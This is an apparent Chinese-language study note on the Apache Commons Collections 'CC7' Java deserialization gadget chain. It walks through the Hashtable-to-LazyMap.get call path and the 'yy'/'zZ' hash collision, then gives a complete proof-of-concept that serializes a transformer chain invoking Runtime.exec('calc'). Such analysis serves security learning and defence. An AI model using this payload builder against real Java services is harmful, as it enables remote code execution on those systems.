java cc链7
相对而言,理解有点绕
执行命令的位置不变,与cc5相同,直接复制即可,
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
实际上是Hashtable.readObject--> Hashtable.reconstitutionPut-->Lazymap.equals-->AbstractMapDecorator.equals-->Hashmap-->AbstractMap.equals-->LazyMap.get
Hashtable的readObject方法调用了reconstitutionPut方法,这里传入的是Lazymap,所以调用了Lazymap.equals,Lazymap没有equals方法,调用
Lazymap父类AbstractMapDecorator.equals方法,该方法又调用了map.equals方法(Lazymap属于HashMap),所以进入Hashmap中,但由于该类中没有equals方法,找到Hashmap的父类,AbstractMap.equals方法
Hashtable.reconstitutionPut
方法中,
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
这段代码是为了检测键的hash是否唯一,首先tab[]数组中是没有数据的,也就是说for循环不成立,第一个键不会进入循环中,而是在tab[index]添加了一组数据用于与其他的键进行比对,我们想要执行e.key.equals(key)方法,就需要e.hash == hash成立,也就是说第一条数据和第二条数据键的hash需要相同,由于yy和zZ的hash值相同,传入这两条数据后能够进入equals方法中,
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);
由于上文的equals调用链,最后调用的是LazyMap.get
方法,这里为什么要使用lazyMap2进行删除,是因为lazyMap1进入到了tab[index]数组中,没有继续运行,为什么删除的是yy,yy在tab[index]Entry中,在AbstractMap.equals方法中,
Iterator<Entry<K,V>> i = entrySet().iterator();//获取所有的键值对
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
而现在的键值对只有一个就是tab[index]Entry,里面的数据是tab[index].getkey()=yy,进入LazyMap.get方法中,第一次是序列化运行的断链,但是在map中添加了一个名为yy的key,导致反序列化时,map.containsKey(key)等于true,无法进入if中,所以最后的poc为
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.bin"));
oos.writeObject(object);
}
//定义反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
public static void main(String[] args) throws Exception {
final Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"}),
new ConstantTransformer(1)};
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy");
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
serialize(hashtable);
unserialize("person.bin");
使用断链的方式,预防序列化的时候执行系统命令
参考:
XINO丶